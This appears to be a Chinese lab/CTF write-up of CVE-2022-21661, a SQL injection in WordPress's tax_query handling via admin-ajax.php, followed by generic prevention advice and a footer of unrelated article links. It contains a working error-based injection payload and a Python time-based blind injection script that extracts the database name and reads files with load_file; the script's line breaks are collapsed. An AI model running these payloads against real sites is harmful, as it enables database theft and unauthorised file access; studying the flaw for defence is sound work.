CVE-2022-21661

簡介

CVE-2022-21661是一個與WordPress相關的漏洞,涉及到SQL注入問題。該漏洞主要源于WordPress的WQ_Tax_Query類中的clean_query函數,可能允許攻擊者通過控制傳遞給該函數的數據來控制生成的SQL查詢,從而執行任意的SQL代碼。

當WordPress的執行進入WQ_Tax_Query類的get_sql函數時,會調用transform_query函數來處理接收到的數據,并將其組合成SQL查詢中的條件。然而,如果攻擊者能夠控制clean_query的返回數據,他們就可以控制SQL查詢的執行。

具體來說,WQ_Tax_Query類中的get_sql、get_sql_clauses、get_sql_for_query和get_sql_for_clause等函數可以接收并處理傳遞給它們的數據,并將其用于構建SQL查詢。然而,如果在傳遞給這些函數的數據中存在某些特定的控制字符或序列,攻擊者就可以嘗試修改生成的SQL查詢,從而執行他們自己的惡意代碼。

例如,如果攻擊者在傳遞給clean_query函數的數據中插入某些特定的控制字符或序列,他們就可以嘗試修改生成的SQL查詢,從而執行他們自己的惡意代碼。在某些情況下,這可能會導致攻擊者能夠執行任意的SQL代碼,從而對數據庫進行訪問或修改

靶場介紹

2022年1月6日,wordpress發布了5.8.3版本,修復了一處核心代碼WP_Query的sql注入漏洞。WP_Query是wordpress定義的一個類,允許開發者編寫自定義查詢和使用不同的參數展示文章,并可以直接查詢wordpress數據庫,在核心框架和插件以及主題中廣泛使用。源碼位置:www.tar

漏洞利用

1.打開場景,下載源碼

2.根據官方公布,漏洞存在路徑/wp-admin/admin-ajax.php,進行訪問

3.判斷方法,post提交action=函數名,當調用方法正確即調用的WP_Query的構造方法的action無回顯,當調用方法不對或者不存在返回0。

4.開啟調試模式poc

action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}

5.exp

import requests
import timedef time_delay(url, headers, payload):start_time = time.time()response = requests.post(url, headers=headers, data=payload)end_time = time.time()#print(end_time,start_time)delay = end_time - start_timereturn delaydef time_based_blind_sql_injection(url, headers):result=[]for i in range(1, 100):for j in range(32,126):#r'0123456789abcdefghijklmnopqrstuvwxyz_-{}':#find db#payload = """{"id":" (if((substr(database(),%d,1))='%s',sleep(10),1))#"}""" % (i, j)#find table#payload = """{"id":" (if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1))=%d,sleep(10),1))#"}""" % (i, j)#find table -wp%#payload = """{"id":" (if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not like 0x777025),%d,1))=%d,sleep(10),1))#"}""" % (i, j)#find column#payload = """{"id":" (if(ascii(substr((select count(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d,sleep(10),1))#"}""" % (i, j)#payload = """{"id":" ()#"}""" % (i, j)payload = """action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["1) or (if(ascii(substr((select database()),%d,1))=%d,sleep(10),1))#"]}}}""" % (i, j)payload = """action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["1) or (if(ascii(substr((select load_file('/flag')),%d,1))=%d,sleep(4),1))#"]}}}""" % (i, j)delay = time_delay(url, headers, payload)print('{ ',''.join(result),' } -> @',i,'-',j,"time_delay:",delay)if delay > 4:result.append(chr(j))print(''.join(result))breakelse:print("The payload is not vulnerable to SQL injection.")print('result:',''.join(result))if __name__ == "__main__":url = "http://eci-2ze5vwsprrajw37m4s5i.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php"headers = {'Cache-Control': 'no-cache, must-revalidate, max-age=0','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Cookie': 'Hm_lvt_2d0601bd28de7d49818249cf35d95943=1700540775,1700564324,1700612154,1700705633; _ga=GA1.2.959161918.1696849239; _ga_J1DQF09WZC=GS1.2.1696849239.1.0.1696849239.0.0.0; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; ci_session=9c000c680a124d4c70cd5cd818dc95d373e61b93; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1700705649','Connection': 'keep-alive','Content-Type': 'application/x-www-form-urlencoded',}time_based_blind_sql_injection(url, headers)

6.結果

預防

為了防止CVE-2022-21661漏洞和其他SQL注入攻擊,可以采取以下幾種措施:

  1. 輸入驗證和過濾:對用戶輸入的數據進行嚴格的驗證和過濾,確保只接受預期的數據類型和格式。這可以通過服務器端和客戶端的驗證實現。
  2. 參數化查詢和預編譯語句:使用參數化查詢和預編譯語句可以防止攻擊者修改原始查詢。這可以防止SQL注入攻擊,因為參數值不會被解釋為SQL代碼。
  3. 使用最新的版本和補丁:及時更新軟件和應用程序,并應用最新的安全補丁。這可以修復已知的漏洞,并提高系統的安全性。
  4. 限制數據庫用戶的權限:將數據庫用戶的權限限制為僅能執行必要的操作,并禁止執行其他可能不安全的操作。
  5. 加密敏感數據:對敏感數據進行加密,以防止攻擊者訪問和利用這些數據。
  6. 配置安全設置:根據應用程序的需要,配置安全設置,例如禁用不必要的數據庫功能、限制遠程訪問等。
  7. 定期備份數據庫:定期備份數據庫,以防止數據被篡改或丟失。
  8. 安全審計和監控:定期進行安全審計和監控,及時發現并修復潛在的安全問題。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/162441.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/162441.shtml
英文地址,請注明出處:http://en.pswp.cn/news/162441.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【ROS 2 進階-MoveIt!】MoveIt!中的關鍵節點

所有內容請查看:博客學習目錄_Howe_xixi的博客-CSDN博客 原文檔鏈接:Docs

自動駕駛軌跡預測學習筆記

目錄 VectorNet:自動駕駛軌跡預測 CVPR2023 軌跡預測冠軍方案 QCNeXt VectorNet:自動駕駛軌跡預測 VectorNet:自動駕駛軌跡預測 - 知乎 CVPR2023 軌跡預測冠軍方案 QCNeXt CVPR2023 軌跡預測冠軍方案!QCNeXt:新一代…

什么是索引下推

索引下推介紹 索引下推(INDEX CONDITION PUSHDOWN,簡稱 ICP)是在 MySQL 5.6 針對掃描二級索引的一項優化改進。總的來說是通過把索引過濾條件下推到存儲引擎,來減少 MySQL 存儲引擎訪問基表的次數以及 MySQL 服務層訪問存儲引擎的…

持續格式刷

雙擊格式刷即可

專訪|OpenTiny 開源社區 常浩:完成比完美更重要

前言 2023年已過大半,備受關注的 OpenTiny*開源之夏活動也順利結項。開源之夏由中國科學院軟件研究所發起的計劃,目的在于鼓勵在校學生積極參與開源軟件的開發維護,推動優秀開源軟件社區的繁榮發展。該活動聯合各大開源社區,聚焦…

令人贊嘆的花里胡哨的代碼雨動畫效果

【點我-這里送書】 本人詳解 作者:王文峰,參加過 CSDN 2020年度博客之星,《Java王大師王天師》 公眾號:JAVA開發王大師,專注于天道酬勤的 Java 開發問題中國國學、傳統文化和代碼愛好者的程序人生,期待你的關注和支持!本人外號:神秘小峯 山峯 轉載說明:務必注明來源(…

element emitter broadcast向下廣播 dispatch向上分派

emitter 項目使用element的emitter.js,做個使用記錄 function broadcast(componentName, eventName, params) {this.$children.forEach(child > {const name child.$options.name;if (name componentName) {child.$emit.apply(child, [eventName].concat(para…

pytorch訓練出現的bug

訓練過后發現.csv文件左側出現了幾列unname和一列0,1,2。這個時候在訓練就會從unname那一列開始訓練。我們需要把這幾列刪除,之后再重新訓練

華清遠見嵌入式學習——網絡編程——作業3

目錄 作業要求&#xff1a;基于UDP的TFTP文件傳輸 代碼 下載功能效果圖?編輯 上傳功能效果圖 思維導圖 模擬面試題和答案&#xff08;定期更新&#xff09; 作業要求&#xff1a;基于UDP的TFTP文件傳輸 完成文件的上傳和下載功能 代碼 #include<myhead.h>//實現…

前端Math屬性方法匯總集錦

Description of Math Math 是一個內置對象&#xff0c;它擁有一些數學常數屬性和數學函數方法。Math 不是一個函數對象。 Math 用于 Number 類型。它不支持 BigInt。 與其他全局對象不同的是&#xff0c;Math 不是一個構造器。Math 的所有屬性與方法都是靜態的。引用圓周率的寫…

『heqingchun-Ubuntu系統+x86架構+編譯安裝ffmpeg+帶有nvidia硬件加速』

Ubuntu系統x86架構編譯安裝ffmpeg帶有nvidia硬件加速 一、準備文件 注&#xff1a;可直接下載我上傳的CSDN資源&#xff0c;然后直接跳到"一"中的第"3"項"將文件按以下順序存放"。 ffmpeg源碼&#xff1a;音視頻開發ffmpeg編譯所需資源文件 其…

Pgsql常用命令

Postgresql數據庫常用命令 1、連接數據庫, 默認的用戶和數據庫是postgres psql -h host -p port -U user -d dbname 2、執行sql文件 psql -h ${PGHOST} -p ${PGPORT} -U ${PGUSER} -d safe_browser -f xxxx.sql \i /xxxxx/xxx/xxxxxx.sql 3、切換數據庫,相當于mysql的use d…

Ajax技

Ajax的特點 異步提交&#xff1a;Ajax采用異步通信方式&#xff0c;能夠在頁面無需重新加載的情況下向服務器發送請求并接收響應數據&#xff0c;提升了用戶體驗。無需插件&#xff1a;Ajax是基于標準瀏覽器的Javascript和XMLHttpRequest對象實現的&#xff0c;無需安裝插件或…

打開和關閉conda,激活和關閉conda,詳解退出conda環境

Python編程技巧&#xff1a;詳解退出conda環境 https://www.python100.com/html/110499.html # 創建虛擬環境~/anaconda3/bin/conda create -n name python3.6 # 激活虛擬環境 source ~/anaconda3/bin/activate name # 查看所有環境 conda env list # 激活虛擬環境 conda activ…

使用JVS低代碼表單引擎高效管理文件,實現個性化需求

在數字化、信息化的時代&#xff0c;文件上傳與管理功能已經成為了各類應用系統的標配。無論是在辦公自動化、項目管理還是內容管理系統中&#xff0c;我們都希望能輕松、高效地完成文件的上傳、查看和管理。JVS低代碼表單引擎提供了文件類組件。無論是文件類型、大小的限制&am…

ubuntu Setforeground 前臺應用切換

場景分析 有這樣一個系統&#xff0c;一個服務主進程用于接收指令&#xff0c;其它服務是獨立的gui 程序&#xff0c;服務進程根據命令將對應的gui 程序切換到前臺。 windows 平臺有Setforeground 這個api&#xff0c;可以根據進程ID&#xff0c;將某個應用的窗口切換到前臺。…

SpringBoot整合Redis,redis連接池和RedisTemplate序列化

SpringBoot整合Redis 1、SpringBoot整合redis1.1 pom.xml1.2 application.yml1.3 配置類RedisConfig&#xff0c;實現RedisTemplate序列化1.4 代碼測試 2、SpringBoot整合redis幾個疑問&#xff1f;2.1、Redis 連接池講解2.2、RedisTemplate和StringRedisTemplate 3、RedisTemp…

UniApp打包教程:使用HBuilder X和AppUploader完成原生App云打包和上架指南“

? 目錄 uniapp進行打包 使用上架工具appuplode進行發包 1.登錄appuploder軟件 2.登陸開發者App Store后臺 uniapp進行打包 在HBuilder X編輯器中打開需要打包的項目&#xff0c;然后點擊上面菜單欄中 發行 > 原生App-云打包&#xff0c;對以下彈出的彈窗進行內容填寫 ?…

競賽python區塊鏈實現 - proof of work工作量證明共識算法

文章目錄 0 前言1 區塊鏈基礎1.1 比特幣內部結構1.2 實現的區塊鏈數據結構1.3 注意點1.4 區塊鏈的核心-工作量證明算法1.4.1 拜占庭將軍問題1.4.2 解決辦法1.4.3 代碼實現 2 快速實現一個區塊鏈2.1 什么是區塊鏈2.2 一個完整的快包含什么2.3 什么是挖礦2.4 工作量證明算法&…

Java計算時間差,距結束還有幾天幾小時幾分鐘

文章目錄 1、寫法2、備份3、LocalDate、LocalDateTime、Date、String互轉 1、寫法 //靜態方法&#xff0c;傳入年月日時分秒 LocalDateTime startTime LocalDateTime.of(2023, 11, 22, 15, 09, 59); LocalDateTime endTime LocalDateTime.of(2023, 11, 30, 0, 0, 0); //計算…